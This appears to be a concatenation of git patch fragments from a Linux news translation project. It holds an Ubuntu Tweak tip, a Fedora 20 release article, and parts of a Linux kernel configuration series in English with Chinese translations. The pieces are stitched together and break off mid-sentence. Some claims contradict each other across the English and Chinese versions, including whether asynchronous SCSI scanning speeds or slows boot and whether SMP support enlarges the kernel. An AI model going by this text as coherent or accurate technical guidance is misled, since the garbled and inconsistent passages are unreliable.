-Ubuntu expresses its features as tweakable, as a consequence, users are able to modify and adjust the defaults with the help of intuitive user-friendly tools, such as Ubuntu Tweak. - -By default, Ubuntu disables the icons from inside menus, meaning, right-clicking on the desktop, opens the right-click menu, menu containing only text entries and no icons. - -Yet, adding icons to menus in Ubuntu 13.10 is as simple as: - -- install Ubuntu Tweak - - sudo add-apt-repository ppa:tualatrix/ppa - - sudo apt-get update - - sudo apt-get install ubuntu-tweak - -- launch Ubuntu Tweak and navigate to `Tweaks-->Miscellaneous` -- check `Menus have icons` - -The **result**: right-clicking now on the desktop, renders icons inside the menu, icon-enablement feature adopted by other right-click menus, too (like for example, the menus from inside Nautilus, Firefox, Gedit, etc). -

Still, it could bring some of this autumn's biggest changes in desktop Linux when it appears in December. - -![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2013/11/grayscale.jpg) - -On November 1, the Fedora Project announced that it would push back the release of Fedora 20 by another week. That change came on top of an earlier announcement in late October delaying the release by one week. The [plan now][3] is to have the beta version of the system out on November 12, and a final release on December 17. - -The delays may disappoint Fedora fans, but the developers say the revised schedule will help to smooth out bugs before Fedora 20 goes lives. (That approach, by the way, stands in contrast to the one taken by [Canonical][4]'s [Ubuntu Linux][5] distribution, which sticks hard and fast to pre-determined release dates, a policy that has its own advantages and downsides.) - - And at any rate, Fedora users have a lot to look forward to in the latest and greatest edition of the operating system. For one, the release will have a lighter footprint than its predecessors as a result of the removal of some packages that were previously installed by default, such as syslog and sendmail. - -NetworkManager is also set to gain some useful new features, including support for network bridging and bonding -- both cool things that traditionally required complicated command-line hacking to implement. Now, Fedora will be a more attractive host for complex networking situations, an especially important characteristic for building clouds and software-defined networks. - -And Fedora 20 aims to provide full support for ARM-based devices (specifically, armv7hl hardware), which could give it a leg up in the mobile and emerging-hardware worlds. - -These various changes help to make Fedora 20 one of the most notable desktop Linux distributions of the season -- especially since Ubuntu 13.10, which appeared last month, brought [few updates for the desktop][6]. (It did include [somewhat more for servers and the cloud][7].) - -The enhancements are also significant beyond the Fedora community, which is mostly restricted to more advanced users, since Red Hat uses Fedora as a proving ground for testing features that may eventually become a part of its commercial enterprise operating system, Red Hat Enterprise Linux. So Linux fans can geek out when Fedora 20 goes live (hopefully) in December, and look forward to taking advantage of some of the new features in Red Hat production environments down the road. - --------------------------------------------------------------------------------- - -via: http://thevarguy.com/open-source-application-software-companies/red-hat-fedora-20-linux-new-networking-arm-features - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://fedoraproject.org/ -[2]:http://redhat.com/ -[3]:http://fedoraproject.org/wiki/Releases/20/Schedule -[4]:http://canonical.com/ -[5]:http://ubuntu.com/ -[6]:http://thevarguy.com/ubuntu/canonicals-ubuntu-linux-1310-brings-few-changes-desktop -[7]:http://thevarguy.com/ubuntu/ubuntu-1310-openstack-havana-support-cloud-server-updates From c5b9914c6c47148e3226a022a98d827c824c6250 Mon Sep 17 00:00:00 2001 From: chenjintao_ii Date: Sun, 10 Nov 2013 14:36:33 +0800 Subject: [PATCH 009/402] To infinity... and beyond :P --- .../10 Years of Xen--Transforming a Dinosaur Into a Bird.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/sources/10 Years of Xen--Transforming a Dinosaur Into a Bird.md b/sources/10 Years of Xen--Transforming a Dinosaur Into a Bird.md index c577500ac1..c3e8074418 100644 --- a/sources/10 Years of Xen--Transforming a Dinosaur Into a Bird.md +++ b/sources/10 Years of Xen--Transforming a Dinosaur Into a Bird.md @@ -1,3 +1,4 @@ +being translated by bazz2 10 Years of Xen: Transforming a Dinosaur Into a Bird ================================================================================ Xen Hypervisor development started at [Cambridge University][1] as part of the [Xenoserver][2] research project in the late 90’s.

The kernel supports a large variety of hardware, protocols, and features as you have already guessed. - -The next set of features we will discuss is "EEPROM support". Electrically Erasable Programmable Read-Only Memory is a form of memory that is not erased when the power is lost or purposely shut off. - -The kernel supports EEPROM chips on I2C cards including FRAMs, ROMs, and SRAMs (I2C EEPROMs / RAMs / ROMs from most vendors). FRAM (also called FeRAM is a Random Access Memory chip that uses ferroelectric principles instead of dieletric materials to store data. A ROM chip is a Read Only Memory chip. SRAM is Static instead of Dynamic like DRAM. DRAM must be refreshed to retain data while SRAM does not require refreshing. However, both lose the stored data when the power is turned off or lost. - -The kernel also supports EEPROMs for SPI buses (SPI EEPROMs from most vendors). The Serial Peripheral Interface Bus (SPI) is a full duplex bus system that lacks an error-checking protocol. - -The older I2C EEPROM chips require a driver other than the I2C driver above (Old I2C EEPROM reader). The I2C bus is intended for embedded systems and cellphones due to the low-speed bus protocol that is used. - -This feature is needed to prevent the Maxim programmable EEPROM from going into read-only mode (Maxim MAX6874/5 power supply supervisor). Specifically, this driver provides better power management to the chip. - -There is also a driver for "EEPROM 93CX6 support", "Microwire EEPROM 93XX46 support", and then "ENE CB710/720 Flash memory card reader support". - -Like with many other kernel features, there are debugging features for EEPROM devices (Enable driver debugging). Again, for better performance, disable debugging features. - -Next, we have a Texas Instruments feature (Shared transport core driver). This driver provides transport protocols for BT/FM and GPS chips. - -The following driver supports the I2C LIS3LV02Dx accelerometer (STMicroeletronics LIS3LV02Dx three-axis digital accelerometer (I2C)). The data provided by the device is stored in /sys/devices/platform/lis3lv02d. - -Next, the Linux kernel supports a module for downloading firmware to Altera's FPGA (Altera FPGA firmware download module). An FGPA is a field-programmable gate array. These are programmable integrated circuits. - -The "Intel Management Engine Interface" offers security and other services to Intel chips. - -"ME Enabled Intel Chipsets" can have MEI support. MEI is Management Engine Interface. This driver gives supported chipsets MEI services. - -The "VMware VMCI Driver" is a high-speed virtual device for relaying communications between the guest and host. VMCI stands for Virtual Machine Communication Interface. - -Next, "ATA/ATAPI/MFM/RLL support" can be enabled/disabled. MFM (Modified Frequency Modulation) is a specific method for encoding floppy disk bits. However, this does not work on all floppy disks. MFM uses the RLL (Run-Length Limited) coding scheme. RLL transfers data going through communication systems that have bandwidth limits. ATAPI is the previously mentioned ATA Packet Interface and ATA is the same ATA mentioned when discussing interface standards. - -Now, we will discuss SCSI support. Small Computer System Interface is another interface standard as is SATA. USB and FireWire devices use the SCSI protocol. - -The first SCSI setting concerns the "RAID Transport Class". This allows RAID to use the SCSI standard. - -To use SCSI targets, enable this feature (SCSI target support). - -If the system will run old Linux applications, the system may need "legacy /proc/scsi/ support".This will create the SCSI files once placed in /proc/scsi/. - -To support SCSI disks, enable the next feature (SCSI disk support). This is a generic driver. - -To support SCSI tapes, enable this feature (SCSI tape support). This is a generic driver. A SCSI tape drive stores data on tape-like magnetic strips. - - -The OnStream SCSI tapes need this driver instead of the previously mentioned generic SCSI driver (SCSI OnStream SC-x0 tape support). - -For "SCSI CDROM support" enable this feature. Some CD-ROMs use the SCSI protocol. - -Next, the user can enable "Enable vendor-specific extensions (for SCSI CDROM)". - -This is a SCSI driver that is a generic driver for a larger variety of SCSI devices (SCSI generic support). This is mainly used for SCSI scanners and other SCSI devices not supported by the previously mentioned SCSI drivers or those discussed afterwards. - -Some SCSI jukeboxes need this SCSI driver (SCSI media changer support). - -The Linux kernel offers "SCSI Enclosure Support". A SCSI enclosure is a device that manages the power and cooling of the SCSI device as well as offer other services not related to the data. - -The Linux kernel should be set to search for all Logical Unit Numbers (LUN) for each SCSI device (Probe all LUNs on each SCSI device). A LUN is a SCSI address. - -Extra error reporting is available for SCSI (Verbose SCSI error reporting (kernel size +=12K)). This will increase the size of the kernel significantly. - -There is also a logger for SCSI (SCSI logging facility). - -To enhance your system, enable this feature that allows SCSI to be probed while the system boots up rather than booting and then probing (Asynchronous SCSI scanning). Most systems can perform both tasks at once, so why not allow it? For hardware with many SCSI devices attached, this will increase boot time significantly. - -Next, "Parallel SCSI (SPI) Transport Attributes" allows each SCSI device to send transport information to sysfs. Some systems require this feature. - -This next feature is the same as above, but sends information about transport from FiberChannel devices (FiberChannel Transport Attributes). FiberChannel devices use SCSI. - -Next, the user can enable/disable "SCSI target support for FiberChannel Transport Attributes". - -Transport information from iSCSI devices and SAS devices can also be exported to sysfs (iSCSI Transport Attributes) and (SAS Transport Attributes). SAS stands for Serial Attached SCSI. - -Next, ATA support is added to libsas (ATA support for libsas (requires libata)). Note that the configuration tools says libata is required. To satisfy this need, enable ATA support. Most likely, the configuration tool has or will do this for you, but double check anyway. libsas and libata are the libraries that provide support for SAS and ATA, respectively. - -The next feature permits SAS interfaces to accept SMP frames (Support for SMP interpretation for SAS hosts). This adds a SMP interpreter to libsas. However, this does increase the kernel's size. SMP frames allow all processors on multi-CPU systems to access SAS devices. - -SRP can send transport data to sysfs (SRP Transport Attributes). SRP stands for SCSI RDMA Protocol. RDMA stands for Remote Direct Memory Access. This means SRP is a protocol used to access data from remote SCSI devices attached to another computer. - -Next, the user can enable "SCSI target support for SRP Transport". - -Low-level SCSI drivers can be enabled (SCSI low-level drivers). This provides many basic drivers. - -After that, users can enable/disable "PCMCIA SCSI adapter support". This adapter allows SCSI devices to attach to PC cards. - -There are some drivers for specific adapters - (Future Domain PCMCIA support), (Qlogic PCMCIA support), and (Symbios 53c500 PCMCIA support). - -Devices with multi-path setups will need this feature (SCSI Device Handlers). This is used in clusters where each node needs a direct path to a SCSI storage unit. - -Next, the "OSD-Initiator library" can be enabled. This is a SCSI driver that provides patches, the OSD protocol, and the T10 protocol to SCSI devices. OSD stands for Object-based Storage Device; this is discussed more in the next paragraph. - -This feature makes a SCSI upper layer for testing and managing /dev/osdx devices (OSD Upper Level driver). exofs uses this driver for mounting OSD-based filesystems. OSD devices are storage devices that do not use blocks like other storage units. Instead, OSD devices store data in containers called objects. exofs was once called OSDFS. - -OSD features provide debugging tools if enabled (Compile All OSD modules with lots of DEBUG prints). - -Now, we can discuss Serial ATA and Parallel ATA features and drivers. The first feature to enable/disable is for debugging (Verbose ATA error reporting). - -Next, users should enable the Advanced Configuration and Power Interface feature for ATA devices (ATA ACPI Support). This will allow the kernel to manage power usage more efficiently in SATA devices. - -The kernel contains a driver for "SATA Zero Power Optical Disc Drive (ZPODD) support". This powers off SATA optical disc drives (ODD) when not in use. This saves energy and reduces wear and tear. - -TIP: Even when making a high-performance kernel, try to enable all power management features. This reduces power consumption, operating costs, heat production (heat reduces performance), and wear and tear. - -SATA port multipliers need this driver (SATA Port Multiplier support). A port multiplier is a device that has numerous ports but only needs to plug into one port itself. For instance, if a piece of hardware has one SATA port, but more are needed, plug the port multiplier into the one port. Now the device has many SATA ports. - -Next is a driver for AHCI SATA (AHCI SATA support). Advanced Host Controller Interface (AHCI) is an operation standard for SATA bus adapters. - -For AHCI SATA devices to be supported on SoC hardware, this driver must be enabled (Platform AHCI SATA support). SoC stands for System-on-a-Chip. - -Next are some drivers for some specific devices. -Initio 162x SATA support -ACard AHCI variant (ATP 8620) -Silicon Image 3124/3132 SATA support - -Again, watch and wait for the next awesome article. - --------------------------------------------------------------------------------- - -via:

Modulation)是一种特殊的编码软驱位的方法。然而,这并不工作在所有的软驱上。MFM使用RLL(Run-Length Limited)编码制式。RLL通过有带宽限制的系统通信转换数据。ATAPI是先前提过的"ATA Packet Interface",同时ATA也在讨论接口标准的时候讨论过。 + +现在我们将讨论SCSI支持。小型计算机接口(Small Computer System Interface (SCSI))是另外一种SATA的接口标准。USB和火线设备使用SCSI协议。 + +第一个SCSI设定关于"RAID Transport Class"。这允许RAID使用SCSI标准。 + +为了使用SCSI目标,启用这个特性(SCSI target support)。 + +如果系统会运行旧的Linux应用,系统可能需要"legacy /proc/scsi/

+Linux内核应该设置为每个SCSI设备搜索全部的逻辑单元号(Logical Unit Numbers (LUN))(Probe all LUNs on each SCSI device)。LUN是SCSI地址。 + +这有额外的对于SCSI的错误报告(Verbose SCSI error reporting (kernel size +=12K))。这会明显地增加内核的大小。 + +这里还有一个SCSI日志系统(SCSI logging facility)。 + +为了增强你的系统,启用这个特性会允许SCSI在系统启动时就被探测到而不是先启用再探测(Asynchronous SCSI scanning)。大多数系统可以一次执行这两个任务,因此为什么允许这项? 对于那些连接了很多SCSI设备的硬件,这个会明显加快启动速度。 + +下面,"Parallel SCSI (SPI)

+下面,ATA支持被加入libsas(ATA support for libsas (requires libata))。注意配置工具提示需要libata。为了满足这个需求,启用ATA支持。更多情况下,配置工具已经或者将会会你这么做,但是请无论再检查一下。libsas和libata是相应的支持SAS和ATA的库。 + +下面的特性允许SAS接口接收SMP帧(Support for SMP interpretation for SAS hosts)。这加入了一个SMP解释器到libsas中。然而，这不会增加内核的尺寸。SMP帧允许所有在多CPU系统上的处理器访问SAS设备。 + +SRP可以发送传输的数据给sysfs(SRP Transport Attributes)。SRP代表SCSI RDMA协议(SCSI RDMA Protocol)。RDMA代表远程直接内存访问(Remote Direct Memory Access)。这意味着SRP是一个用来访问连接到另外一台计算机的SCSI设备的数据的协议。 + +下一步，用户可以启用"SCSI target support for SRP Transport"。 + +可以启用底层SCSI驱动(SCSI low-level drivers)。这提供了很多基础驱动。 + +在这之后，用户可以启用/禁用"PCMCIA SCSI adapter support"。这个适配器允许SCSI设备连接到PC卡上。 + +这里有一些驱动用于特殊的适配器- (Future Domain PCMCIA support)、(Qlogic PCMCIA support) 、(Symbios 53c500 PCMCIA support)。 + +多路径安装的设备需要这个特性(SCSI Device Handlers)。这用在每个节点都需要一个到SCSI存储单元的直接路径的集群中。 + +下一步，"OSD-Initiator library"(OSD启动库)可以启用。这是一个提供了补丁、OSD协议、和针对SCSI设备的T10协议的SCSI驱动。 OSD代表的是基于对象的存储设备(Object-based Storage Device);下一段会讨论得更多。 + +这个特性生成一个SCSI上层用于测试和管理/dev/osdx设备(OSD Upper Level driver)。exofs使用这个驱动用于挂载基于OSD的文件系统。OSD设备不像其他存储单元一样使用块的存储设备。相反地，OSD设备存储数据在称之为对象的容器里。exofs曾经称作OSDFS。 + +如果启用了它，OSD特性提供了调试工具(Compile All OSD modules with lots of DEBUG prints)。 + +如今，我们可以讨论串行ATA和并行ATA特性和驱动了。首先启用/禁用用于调试的第一个特性(Verbose ATA error reporting)。 + +下一步，用户应该对于ATA设备启用高级配置及电源接口特性(ATA ACPI Support)。这允许内核在SATA设备上更有效地管理电源使用。 + +内核包含了对于"SATA Zero Power Optical Disc Drive (ZPODD) support"的驱动。这会在不使用时关闭SATA光盘驱动器(SATA optical disc drives (ODD))。这节约了能源以及减少损耗。 + +贴士：即使你在编译一个高性能的内核，尝试启用所有的电源管理特性。则减少了电源消耗、操作开销、热量产生(热量会降低性能)，以及磨损。 + +SATA端口复用器需要这个驱动(SATA Port Multiplier support)。端口复用器是一个拥有许多端口但是自己仅需插入一个端口的设备。举例来说，如果一个硬件有一个SATA口，但是还需要更多的口，在这个口上插入端口复用器。现在设备可以有许多SATA口了。 + +下一个驱动用于AHCI SATA(AHCI SATA support)。高级主机控制器接口(Advanced Host Controller Interface (AHCI))是一种SATA总线适配器的操作标准。 + +对于要在Soc硬件上支持AHCI SATA设备，必须启用这个驱动(Platform AHCI SATA support)。Soc代表片上系统(System-on-a-Chip)。 + +下面是一些特殊设备的驱动 +Initio 162x SATA support +ACard AHCI

BMDMA stands for Bus-Master Direct Memory Access. - -Next, this driver provides support for various Intel SATA and PATA controllers (Intel ESB, ICH, PIIX3, PIIX4 PATA/SATA support). - -Here is another device-specific driver (Calxeda Highbank SATA support) and another (Marvell SATA support) and another (NVIDIA SATA support) and another (Promise SATA TX2/TX4 support) and another (Silicon Image SATA support) and several more (SiS 964/965/966/180 SATA support), (ServerWorks Frodo / Apple K2 SATA support), (ULi Electronics SATA support), (VIA SATA support), . . . .. Because many of the SATA/PATA controllers are designed differently, a generic driver cannot be used on many of these devices. - -Next, ATA devices on PC Cards are supported by this driver unless a device-specific driver manages the hardware (PCMCIA PATA support). - -After that, here is a generic PATA driver that manages all other PATA devices not supported by previously enabled drivers (Generic platform device PATA support). - -The power consumption of PATA devices are managed by this ACPI driver (ACPI firmware driver for PATA). It is highly recommended that ACPI be enabled for all hardware on the system. Although this increases the kernel's size, ACPI is better for performance. - -"Generic ATA support" is offered by this driver. - -Legacy support for ISA, VLB, and PCI bus PATA devices can be added via this driver (Legacy ISA PATA support (Experimental)). This legacy support uses the new ATA layer. - -This set of features contains many abilities for RAID and LVM as seen in the following feature options (Multiple devices driver support (RAID and LVM)). - -INTERESTING FACT: The kernel is written in C and Assembly. - -This driver allows RAID and LVM to be combined (RAID support). This is used to make several LVMs use RAID. Partitions are combined into Logical Block Devices which are then used to form RAID devices. - -Many users will want RAID devices to be detected during booting (Autodetect RAID arrays during kernel boot). If you do not have RAID, then do not enable this feature. Otherwise, the boot process will take a few seconds longer than what it needs to be. - -NOTE: When configuring the Linux kernel, it is best to follow the "use it or lose it" principal. That is, if you will not use it, then disable the feature. - -Hard-drive partitions can be added together using this driver (Linear (append) mode). - -The following driver adds RAID-0 support to logical block devices (RAID-0 (striping) mode). Then, there is (RAID-1 (mirroring) mode), (RAID-10 (mirrored striping) mode), and (RAID-4/RAID-5/RAID-6 mode). - -The MD framework needs multipath support (Multipath I/O support). The MD framework is a Multi Device framework which manages multiple devices as one unit. For example, combining the partitions of many storage units will make multiple devices act as one. The multipath support is for handling a virtual "single device" with many addresses. Because the single storage unit is physically more than one piece of hardware, it will have more than one hardware address. - -These larger multi-disk storage units can be tested for bugs using this debugging driver (Faulty test module for MD). - -The "Device mapper support" is a volume manager that is used to map logical sectors. LVM uses sector mapping. - -The device mapper can have debugging features if enabled (Device mapper debugging support). - -These logical devices can be set to encrypt data if desired (Crypt target support). This feature can allow users to later encrypt such storage devices. - -Snapshots of these logical storage units can only be taken if this feature is enabled (Snapshot target). - -Thin provisioning allows logical volumes to be setup to have more storage capacity than the physical storage units that make up the logical volume (Thin provisioning target). This feature also provides snapshot abilities of such storage. This excess virtual data space cannot immediately be used. The point of it is to allow users to add a physical storage unit in the future and save time configuring the logical block device. - -Thin provisioning can be debugged with this feature (Keep stack trace of thin provisioning block lock holders). - -The performance of block devices can be improved by moving the more commonly used data to the faster storage units (Cache target (EXPERIMENTAL)). - -Volume managers can be made to mirror logical volumes (Mirror target). - -Device-mapper (dm) targets can be made to support the mappings of RAID1, RAID10, RAID4, RAID5 and RAID6 (RAID 1/4/5/6/10 target). - -The device-mapper logs can be mirrored in userspace (Mirror userspace logging). - -A "Zero target" is a device that disregards writes and returns reads as zero. - -Next, volume managers should have multipath support for the hardware (Multipath target). - -This driver finds the most efficient path to storage devices for reads and writes (I/O Path Selector based on the number of in-flight I/Os). - -The next driver is the same as above, but finds the fastest path (I/O Path Selector based on the service time). - -If a physical storage unit on a logical volume is busy, this feature will allow reads/writes to go to another physical volume if possible (I/O delaying target). - -udev can generate events for device-manager actions (DM uevents). udev is a device manager for /dev/. - -To test how software/hardware reacts to logical devices that occasionally fail input/output tasks, enable this debugging feature (Flakey target). - -A logical volume can be created that is a read-only storage unit that validates data for another logical partition (Verity target support). - -NOTE: If you enjoy my articles, click "Like" on my posts if you have a Linux.org account. Also, reshare this article on Google, Twitter, and/or Facebook. - -ConfigFS and the TCM storage engine can be enabled with this setting (Generic Target Core Mod (TCM) and ConfigFS Infrastructure). ConfigFS is a RAM-based filesystem. - -INTERESTING FACT: The Linux kernel does not have a “main()” function. In programs, main() is called by libc which depends on the kernel. The kernel cannot have a main() function because libc would not be able to start the kernel. If the kernel did have a main() function, then we would have a “chicken-or-the-egg” problem – which would come first? Plus, the entry point of the kernel is written in Assembly which does not use the main() function. - -Next, the "TCM/IBLOCK Subsystem Plugin for Linux/BLOCK" can be enabled/disabled. - -Then, the "TCM/FILEIO Subsystem Plugin for Linux/VFS" can be enabled/disabled. - -And again, there are two other TCM features - (TCM/pSCSI Subsystem Plugin for Linux/SCSI) and (TCM Virtual SAS target and Linux/SCSI LDD fabric loopback module). - -The Linux-iSCSI.org iSCSI Target Mode Stack for ConfigFS is provided by this driver (Linux-iSCSI.org iSCSI Target Mode Stack). - -Next, enable/disable the "FireWire SBP-2 fabric module". This allows a computer to connect to another computer and appear to be a hard-drive. - -After that, we can configure "Fusion Message Passing Technology (MPT) device support". - -The first option under that heading is a driver for SCSI support for parallel adapters (Fusion MPT ScsiHost drivers for SPI). - -SCSI can also get support for fiber channel host adapters (Fusion MPT ScsiHost drivers for FC) and/or SAS adapters (Fusion MPT ScsiHost drivers for SAS). - -Next, users can set the "Maximum number of scatter gather entries". A lower number leads to reduced memory consumption per controller instance. - -The next driver offers system ioctl calls to manage MPT adapters (Fusion MPT misc device (ioctl) driver). - -Fiber channel ports can support IP LAN traffic with this driver (Fusion MPT LAN driver). - -I can read your mind – you think there is going to be another article after this. Well, you thought correctly. Keep watching for the next article in this series. - -If you like this article series, please post on Linux.org and/or Google+ telling me how much you like this series and what topics you would like to see covered in future articles. Or, email me (DevynCJohnson@Gmail.com). Mahalo! - -To learn more about the author, check out the links in his signature box below. - -If you have read this article completely, then you should have seen the word "Facebook" three times. If not, you did not read the whole article. - -The word "Facebook" is seen in this paragraph, the paragraph above, and in one of the notes. I bet you read the paragraph above without finishing this article trying to find the third instance of the word. - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-13.4714/ -

Ready for another cool article on the Linux kernel? - -Next, in our long quest, we can enable/disable the "Fusion MPT logging facility". MPT stands for Message Passing Technology. The Fusion driver is made by LSI Logic Corporation. MPT is a specific messaging tactic used between process. This technique is synchronous meaning that process will wait for messages as needed. - -After that, the "FireWire driver stack" should be enabled if the computer possesses FireWire ports. If not, then there is no point in enabling FireWire ports for a device that could not use such drivers. FireWire is a lot like USB. The differences lie in the protocols, speed, and the physical shape and layout of the ports. Generally, Apple devices use FireWire and USB. Some PCs have FireWire ports, but this is less common than USB ports. - -Some FireWire controllers use the OHCI-1394 specification (OHCI-1394 controllers). If so, enable this driver. - -To use FireWire storage devices, enable this next driver (Storage devices (SBP-2 protocol)). This driver provides a protocol that the FireWire storage units use to communicate with the FireWire bus (the card with the attached FireWire ports). Some FireWire scanners also need this driver. - -IPv4 can be used on FireWire ports (IP networking over 1394). IEEE 1394 or simply "1394" is FireWire. Multicasting over FireWire using IPv4 has limitations. - -Nosy is the traffic monitor for FireWire PCILynx cards (Nosy - a FireWire traffic sniffer for PCILynx cards). - -Next, the I2O devices can be supported (I2O device support). Intelligent Input/Output (I2O) bus uses drivers for the hardware and operating system levels. The hardware drivers (HDM) are not specific to any operating system while the OS drivers (OSM) must be used on the intended operating system. The OSM communicates with any of the HDMs. I2O cards/buses have an IOP - Input/Output Processor. This speeds up the system since the main CPU is processing less data. - -Only enable "Enable LCT notification" on systems that lack a SUN I2O controller. I2C SUN firmware does not support LCT notifications. - -The Adaptec I2O controllers need this next driver if RAID is intended (Enable Adaptec extensions). - -Direct memory access of 64-bits can be allowed on Adaptec I2O controllers (Enable 64-bit DMA). - -I2O devices can be configured if permitted (I2O Configuration support). This feature is mainly needed for RAID setup. - -The old Input/Output controls can be enabled for I2O devices (Enable ioctls (OBSOLETE)). - -The OSM software for I2O bus adapters can be enabled (I2O Bus Adapter OSM). This set of OSMs are used to find new I2O devices on the other end of the adapter. - -Next, the OSMs for I2O block devices can be enabled (I2O Block OSM). RAID controllers on I2O hardware will need this OSM. - -The following OSM is for the SCSI or FiberChannel devices on I2O controllers (I2O SCSI OSM). - -Information on I2O devices can be read from /proc/ if enabled (I2O /proc support). - -After the I2O features have been enabled/disabled, we can move on to other kernel abilities. Next, we have "Macintosh device drivers". These are only useful to Apple devices. Linux kernels for PCs should not have any of these features enabled. However, as with many statements there is always an exception. Some PC users may use an Apple mouse, keyboard, and/or some other Apple device. Again, it is best to thoroughly understand the need and use of the kernel being developed. - -Next, we have a driver for networking (Network device support). X11 and other Linux software do not depend on this driver, so if the kernel will not need to connect to another computer, Internet, Intranet, or network, then this can safely be disabled. - -The following driver is like above, but is specific to core drivers (Network core driver support). - -Etherchannels are supported by this driver (Bonding driver support). In networking, bonding is the fusion of two or more Ethernet channels. This is also known as trunking. - -A dummy network can be set up in Linux with this driver (Dummy net driver support). A dummy network is a virtual network that is like the /dev/null of networking. Any data sent to this dummy network is gone forever as it would be going to /dev/null. The IP address is not set. The user can define their networking equivalent of /dev/null. - -Next, EQL can be supported (EQL (serial line load balancing) support). This is needed to allow two computers to communicate via two serial connections that use the SLIP or PPP protocol. - -Fiber Channel is a fast serial protocol for connecting storage devices to computers (Fibre Channel driver support). - -The MII transceiver needs this driver (Generic Media Independent Interface device support). MII is an interface for Ethernet with speeds up to 100Mbit/s. These Ethernet cables are intended for connecting to a PHYceiver which is an Ethernet transceiver. - -To group many Ethernet devices via virtual interfaces, the "Ethernet team driver support" is needed. - -"MAC-VLAN support" permits users to have packet maps between a particular MAC address and a certain interface. - -A tap character device can be made from the MAC-VLAN network interface (MAC-VLAN based tap driver). Tap devices get packets from the kernel so they can be sent elsewhere. - -The next feature allows virtual vxlan interfaces that create Layer 2 networks to be placed above Layer 3 (Virtual eXtensible Local Area Network (VXLAN)). This is commonly used for tunneling to virtual systems. - -Messages that the kernel sends on a network can be logged with this feature (Network console logging support). Only enable this if it is important for you to log the network messages. Disabling this feature will enhance performance. - -This feature allows various parameters to be changed (Dynamic reconfiguration of logging targets). Some of these parameters include port numbers, MAC addresses, IP addresses, and some other settings. - -If user space programs are expected to use TAP devices, then enable this driver that will allow such activity (Universal TUN/TAP device driver support). - -This driver is for local Ethernet tunnels (Virtual ethernet pair device). - -The "Virtio network driver" is used with QEMU, Xen, KVM, and other virtual machines. - -Next, "ARCnet support" can be enabled. ARCnet is a Token-Ring-like Local-Area-Network (LAN) protocol. ARCnet stands for "Attached Resource Computer Network". - -Now, we can move on to "ATM drivers". ATM stands for "Asynchronous Transfer Mode". ATM is used for telecommunications. - -The Marvell Ethernet switch needs this driver (Marvell 88E6060 ethernet switch chip support). Also, the chip for such a switch is also needed depending on the model (Marvell 88E6085/6095/6095F/6131 ethernet switch chip support) and (Marvell 88E6123/6161/6165 ethernet switch chip support). - -Now, we can learn about "Ethernet driver support". - -First, we can enable/disable "3Com devices". This then allows kernel developers to choose which 3Com devices to support. - -The next set of options is for various "Adaptec devices" and then later "Alteon devices". -These are just device/vendor specific drivers. Generally, these drivers are added as modules. - -After those two sets of options, there is a set for "AMD devices" and again for "Atheros devices". - -NOTE: Keep in mind what type of hardware the kernel will run on. For a large variety of devices, it may be best to add these devices as modules. - -There are various other vendor-specific device drivers - "Cadence devices", "Broadcom devices", "Brocade devices", "Chelsio devices", "Cisco devices", and "Digital Equipment devices". Some other device/vendor specific drivers follow. - -The next driver that is not vendor/device specific is "SLIP (serial line) support". This driver supports SLIP and CSLIP. SLIP (Serial Line Internet Protocol) is an Internet protocol for modems and serial ports. PPP is now used instead of SLIP. CSLIP is Compressed SLIP. - -Next, "CSLIP compressed headers" can be enabled which compresses the TCP/IP headers. CSLIP is faster than SLIP, but to be able to use CSLIP, both the transmitting computer and the receiving computer must be able to understand CSLIP. - -When using SLIP on bad analogue lines, then it may be a good idea to enable "Keepalive and linefill" which will help to keep the connection alive. - -For running IP on poor-quality networks or are 7-bit, it may help to enable and use "Six bit SLIP encapsulation". - -Now, we can move on to the popular USB system, but these are the USB drivers for networking. - -The first USB network device to enable/disable is "USB CATC NetMate-based Ethernet device support". This is for 10Mbps USB Ethernet EL1210A chip devices. The USB device will act and appear to be an Ethernet device even though the hardware is USB. - -Next, this driver is the same as above except this is for devices with the KLSI KL5KUSB101B chipset (USB KLSI KL5USB101-based ethernet device support). - -The Pegasus USB devices are USB-to-Ethernet adapters/converters (USB Pegasus/Pegasus-II based ethernet device support). - -Next, there is another USB-to-Ethernet driver (USB RTL8150 based ethernet device support). - -In the next article, we will continue to configure the USB networking system. -

+================================================================================ +![](http://www.linux.org/attachments/slide-jpg.566/) + +你好！ 准备好读另一篇很酷的Linux内核文章了么? + +接下来，在我们的长期追求中，我们可以启用/禁用"Fusion MPT logging facility"。MPT代表"Message Passing Technology"(消息传递技术)。Fusion驱动是由LSI Logic公司开发。MPT一种进程间使用的特定消息策略。这个技术是同步的意味着进程将会等待所需的消息。 + +在这之后，如果计算机处理拥有火线端口就应该启用"FireWire driver stack"。如果没有，那么就没有必要去启动一个不会使用到的火线驱动。火线很像USB。不过在协议、速度、物理形状和端口布局上不同。通常上，苹果设备使用火线和USB。一些PC有火线端口，但是不像USB口那样普及。 + +一些火线控制器使用OHCI-1394规范(OHCI-1394 controllers)。如果是这样，启用这个驱动。 + +为了使用火线存储设备，启用下一个驱动(Storage devices (SBP-2 protocol))。这个驱动提供了火线存储单元与火线总线通信的协议(the card with the attached FireWire ports)。一些火线扫描仪同样需要这个驱动。 + +IPv4可以用在火线端口(IP networking over 1394)。IEEE 1394或者简单的"1394"就是火线。使用IPv4在火线多播有局限。 + +"Nosy"是"FireWire PCILynx"卡上的流量监控(Nosy - a FireWire traffic sniffer for PCILynx cards)。 + +下一步，可以支持I2O设备(I2O device support)。"Intelligent Input/Output (I2O)"(智能输入/输出)总线使用硬件和操作系统层的驱动。硬件驱动(hardware drivers (HDM))并不特定与任何操作系统而OS驱动(OS drivers (OSM))必须在目标操作系统上使用。OSM可以与任何HDM通信。I2O卡/总线有一个IOP- 输入/输出处理器(Input/Output Processor)。由于主CPU处理更少的数据，所以加速了系统。 + +只在缺乏SUN I2O控制器的系统上启用"Enable LCT notification"。I2C SUN固件不支持LCT通知。 +如果目标是RAID，Adaptec I2O控制器需要下一个驱动(Enable Adaptec extensions)。 + +64位的直接内存访问可以在Adaptec I2O控制器上启用(Enable 64-bit DMA)。 + +如果允许，可以配置I2O设备(I2O Configuration support)。这个特性主要用在RAID设定中。 + 